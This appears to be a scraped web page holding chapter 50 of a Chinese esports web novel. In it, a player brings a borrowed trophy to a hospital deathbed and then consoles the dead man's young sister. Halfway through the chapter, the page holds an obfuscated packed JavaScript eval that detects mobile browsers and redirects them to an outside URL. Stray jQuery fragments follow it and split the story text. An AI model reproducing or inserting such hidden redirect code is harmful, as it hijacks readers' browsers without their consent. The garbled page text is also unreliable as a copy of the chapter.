默认冷灰
24号文字
方正启体

50. 第 50 章

作者:南徽珩本书字数:K更新时间:
    也许没上班,陈决明的消息回得极快,“对方正在输入……”都没现身过0.1秒的场。


    [陈决明]:不是。


    既然否定了,定然要添话解释一句照片。


    喻昭苏没按灭手机,仰在座椅上等。


    她一抬眼,即见司机抱着只主机尺寸的箱子挪出VSG,阮文竹边引路边搭手扶。


    那东西似是宝贵,因为副经理一探手拉开了后排的车门,喻昭苏连忙放下手机,手垫着底朝车内接。


    还蛮沉的,搁稳时砸出一声闷响。


    “什么啊?”


    喻昭苏弹了弹厚实的皮箱,面朝她这侧挂的锁轻微一晃。


    经理紧随其后,阮文竹又奔去他身边和VSG的人寒暄,忙得脚不沾地。


    都忙,忙……忙点好啊!


    她又在箱子上一敲,低头埋回手机。


    不知是不是输入法抽了,短短三两分钟,屏幕上凭空多出一溜“对方撤回一条消息”,最先的“不是”也消失了。


    她随口一句打趣,至于纠结成麻绳?


    下一秒,手机一震。


    [陈决明]:瞧见日出,觉着会雨过天晴。


    啧,俗套的宽慰。


    喻昭苏扶着箱子,急促拍了两下。


    做职业选手,败败是家常便饭,不时还加点夜宵、下午茶。


    先前在Dream,她向叶如是倾诉,叶教练的安慰是强有力的复盘,并附赠一条清晰的因果线,关于败局和心绪,别的留给她“自我消化”;之后,她的倾诉对象换为了父母,但她俩对此一窍不通,仅是安静作听众,必要处帮一声腔。


    久而久之,她长于独身直面失利,而非从不疼不痒的安慰里汲取气力。


    世界赛她都挺过一届。


    不过,她和陈决明在次级联赛已经认识了,以前大败小败不断,从没见他“雨过天晴”过啊。


    莫非上网课上出感情啦?


    白茶主持仿佛也装配了心灵感应,光速且恰时地撤回消息,飞了张“敲黑板”的表情包。


    [陈决明]:是嘞[回复“看图写话作业?”]


    [陈决明]:之前说定的小测验哦!


    是有那回事,春季赛结束小测一次语言水平,只不过意外将其冲刷了,不知道这条消息是否存在相似的命运。


    等待片刻,消息始终落于屏幕下方,没再被敲下它的手回收。


    估计敲定此是终稿了。


    哟西!


    喻昭苏没回复,但封死了给“定制”改成大红配大绿的念头。


    只是古怪感仍萦绕心头,要指出哪里古怪,她又不能够像计补刀数一样说明那处精确的点。


    “你猜。”


    继续平稳行驶于车流中,阮文竹忽然说。


    喻昭苏迟缓的脑子一愣:“猜什么?”


    “你方才不是好奇里面的东西?”阮文竹化身长颈鹿,指指两人间的箱子,“保密,不过你可以猜一猜。”


    通宵伤脑,喻昭苏扫视一轮,然后又扫一轮,却没任何推测站齿间待命。


    “不给提示干猜?”


    “给过了。”阮文竹手一摆,“方才那一通,就差把‘东西’做个应援牌展示了。”


    喻昭苏不据理但力争:“那是暗示。”


    “好叭。”


    阮文竹妥协,手腕一拢,绷胳膊朝斜前一推,车顶太矮,她没施展开即撞了。


    “咚!”


    标志性的动作一出,简直是将谜底投上时代广场大屏,高强度滚动播放。


    喻昭苏缓缓一眨眼:


    “奖杯。”


    *


    不似召唤师杯和银龙杯,外卡的设计独树一帜,不能算“杯”字的命题作文,只能说八竿子打不着。


    春决彩排时,喻昭苏放眼望,瞧见领奖台摆着一捧银白花束,她下意识认为那是道具,跟阮文竹悄悄讲小话:


    “奖杯呢?”


    “喏,”阮文竹理所当然一指花束,“在那儿!”


    阮文竹惊讶转头,险些拧折脖子。


    “Seriously?”


    花枝纤长而盛放,一根丝带松松环绕,将其系为一束,如果漆上涂料,当真会和街边鲜花店的锦簇别无二致。


    相比赛场,那银白欲滴的“奖杯”更应改出现在艺术展上。


    “噱头嘛!”阮文竹无奈一摊手,“比赛没吸引力,别的不得弄花哨些。”


    没错,“花束”确实令人神往。


    车稳稳停于医院前——之前妹妹吹口香糖的地方,喻昭苏怀抱花哨奖杯,随人潮迈向病房。


    医院强光一照,花瓣显得格外清透,她细细端详,枝与枝居然只是疏松挨着,内部中空且透气,风朝里一灌估计还会响。


    确如4115所言,煮不了泡面。


    偷工减料啊!


    令她们意外的是,走廊上竟站了不少人。


    搭眼一扫,大多数穿着医护的制服,另外一撮披着病号服,不约而同朝病房里望。


    喻昭苏脚步微顿:“怎么……”


    “41家人要捐献器官,”阮文竹气音解释,“都是送行的。”


    倚靠扶手的4115恰一抬眼,灰暗的眼神缓缓移向DTG一行人……


    以及,上单怀里的银白花束。


    “Espanto?”


    “Here!”


    喻昭苏也回望,大步流星上前,心绪复杂地将巡游道具一递,0.75倍速的外语轻缓流淌,“从VSG借的,给你。”


    医院仿佛一块巨型磁铁,将生命力与积极情绪都吸跑。


    家人久病卧床,4115试尽各种法子,得出光芒四射的春夏冠多少能使病号打起精神的结论。DTG也照顾他,每逢夺冠,经理会亲自护送奖杯去医院,博消沉的长辈一粲。


    输掉一般轻轻放下,讨一句“愈挫愈勇”之类的祝福。


    今年春季……讨不到了,所以DTG厚着脸皮去协商,暂借一日的春冠。


    花束沉甸甸的,既压迫胳膊,又压迫泪腺,泪珠露水似的砸落于花瓣。


    “Thankyou——”


    喻昭苏稍一鞠躬。


    “我们,能进去告别吗?”


    4115泣不成声,侧身摆出“请”的手势。


    深深呼吸一轮,喻昭苏一步迈一块地砖,十多步后,站到了病床前。


    白布盖过整张床,逝者的面容瞧不见,只余数道锋利的折痕,割得她胸口生疼。


    经理絮絮叨叨和“白布”说话,语速跟遭追杀似的。


    喻昭苏听了一耳朵,不知是心乱还是语言不过关,她掉回了才到外卡时如闻天书的状态,只盯着腹部那里没抹平的一条手掌宽的褶皱。


    过了十分钟,又或者十秒钟,阮文竹碰她:


    “昭苏,你有话要说吗?”


    “嗯?”


    喻昭苏加载片刻,摇摇头。


    即使认识4115,她们却素不相识,一面之缘都不存在,顶多算一“布”之缘。


    “那鞠一躬,”阮文竹悄声指引,“我们出去了。”


    喻昭苏回神,依言附身。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918956|165635||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    她身体折成九十度时,外头忽然爆开一阵欢呼,像百十只玻璃杯一齐摔碎。


    “CHAMPION!!!”


    不止走廊。


    一瞬间,喻昭苏听觉修复,分辨出声音的来源。


    还有隔壁病房、不远的护士站……不如春决热烈,却足以惊心。


    4115说过,他家长总“例行炫耀一圈”。


    喻昭苏仍望向雪白的褶皱。


    一“布”之缘呢,还是唠一句。


    “您为他骄傲吗?”


    眼前的死亡与记忆深处相勾通。


    有朝一日,她高高捧着“花束”。


    叶如是……为她骄傲吗?


    *


    4115得跟去处理后续的事情,无暇他顾,所以将一家老幼托付DTG照料。


    也许芥蒂春决的争执,经理搀扶着拄拐的老人,没流露出跑前跑后的意思,只交待辅助联谊赛在半周后,他不去的话尽快告知。


    战队处处刻着比赛的痕迹,没什么招待孩子的玩乐,喻昭苏硬邦邦询问:


    “要和我一起观赛么?”


    今儿是LPL常规赛最后一日,虽然季后赛名额抢尽了,但“DreamVSN6”压轴登场,争夺离决赛最近的位次——她预约了赛程,凑热闹。


    阮文竹颇为无语地转述,弟弟一听,选择了中野买零食的诱惑。


    妹妹一挪,牵上喻昭苏的手。


    打开直播时,她茫然眨眼:


    “我以为春决呢。”


    小姑娘语速慢,遣词造句也简单,喻昭苏能听懂十之八|九。


    她没说话,起身按亮LuffyX的电脑,揉了把妹妹的脑袋。


    “你自己搜吧!”


    “NO!”


    妹妹急忙从椅子跳下,又牵紧喻昭苏,她稍稍歪头,以眼神探究。


    小姑娘手绞着衣服,声音似要被烈日晒化。


    “当时……我说我可以处理……护工不相信,所以给哥哥打……”


    喻昭苏一愣,明白她指的第一把过后,那通“打错”的短暂电话……然后,春决戛然而止。


    “对、对不起……”


    “说什么呢!”


    苦涩弥漫,喻昭苏将她搂紧,宛如怀抱沉重的奖杯。


    菜是原罪。


    于是舆论揪准某一点,轻易给一场失败划分责任,谁尽力谁犯罪,罗列得清清楚楚。


    可死神的镰刀悄然而至,轻轻一划,掀动飓风,现在都没停歇。


    该指责谁呢?


    失亲的辅助、惶然的替补、挽救不了败局的上中下野……还是小学没毕业的妹妹?


    她摸着小姑娘的头发:“4115走的时候,DTG二比一领先。”


    “我知道……”妹妹一蹭眼睛,“但是……很难过……”


    泪水里,估计还溶解了对至亲的留念。


    喻昭苏不知怎么安慰,只是来回抚摸妹妹的头发。


    没多久,她听见直播间漾起欢呼:


    “恭喜N6,一比零领先!”


    “嗨,”她松手,“我们一块玩游戏吧!”


    妹妹不哭了,不过哭腔浓重:“不是要等我长大……”


    “当着你哥才那么说,眼下他又不在,”喻昭苏耐心劝,“怎么样,只玩一把?”


    于她而言,峡谷属于另一方天地。


    狂风止号,阴霾尽散,流光从指尖尽情倾泻。


    以及……逝去终将复生,只消片刻光阴。


    “嗯,”妹妹重重点头,“只一把。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)